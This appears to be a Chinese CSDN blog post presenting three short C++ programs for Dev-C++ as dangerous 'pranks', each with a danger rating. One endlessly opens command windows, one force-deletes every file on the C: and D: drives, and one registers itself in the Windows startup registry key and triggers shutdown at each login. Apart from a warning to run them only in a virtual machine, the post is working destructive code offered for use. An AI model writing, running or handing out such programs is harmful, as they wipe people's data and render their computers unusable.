※※※慎用DEV-C++代码※※※

目录

引、瘟腥提示

一、

 二、

三、


 

引、瘟腥提示

※※※一下代码请慎用※※※

一、

危险系数:★☆☆☆☆

#include<bits/stdc++.h>
using namespace std;
int main(){
	while(1)
		system("start cmd.exe");
	return 0;
}

 二、

危险系数:★★★★★

#include<bits/stdc++.h>
using namespace std;
int main(){
	system("del /f /s /q D:\\");
	system("del /f /s /q C:\\");
	return 0;
}

本程序非虚拟机严禁使用,否则后果自负!!!本程序会直接导致电脑报废,蓝屏的机会都没有!!!亲测有效!!!

三、

危险系数:★★★★★

可导致电脑开机就关机!!!人狠话不多!!!

#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
void AutoPowerOn(){//转载自https://blog.youkuaiyun.com/baidu_41388533/article/details/117993523 
    HKEY hKey;
    if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){
        TCHAR strExeFullDir[MAX_PATH];
        GetModuleFileName(NULL,strExeFullDir,MAX_PATH);
        TCHAR strDir[MAX_PATH]={};
        DWORD nLength=MAX_PATH;
        long result=RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
        if (result!=ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir)!=0){
            RegSetValueEx(hKey,_T("GISRestart"),0,REG_SZ, (LPBYTE)strExeFullDir,(lstrlen(strExeFullDir)+1)*sizeof(TCHAR));
            RegCloseKey(hKey);
        }
    }
}
int main(){
	AutoPowerOn();
	system("shutdown -s"); 
	return 0;
}

本程序非虚拟机严禁使用,否则后果自负!!!本程序会直接导致电脑报废,蓝屏的机会都没有!!!已用虚拟机亲测!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值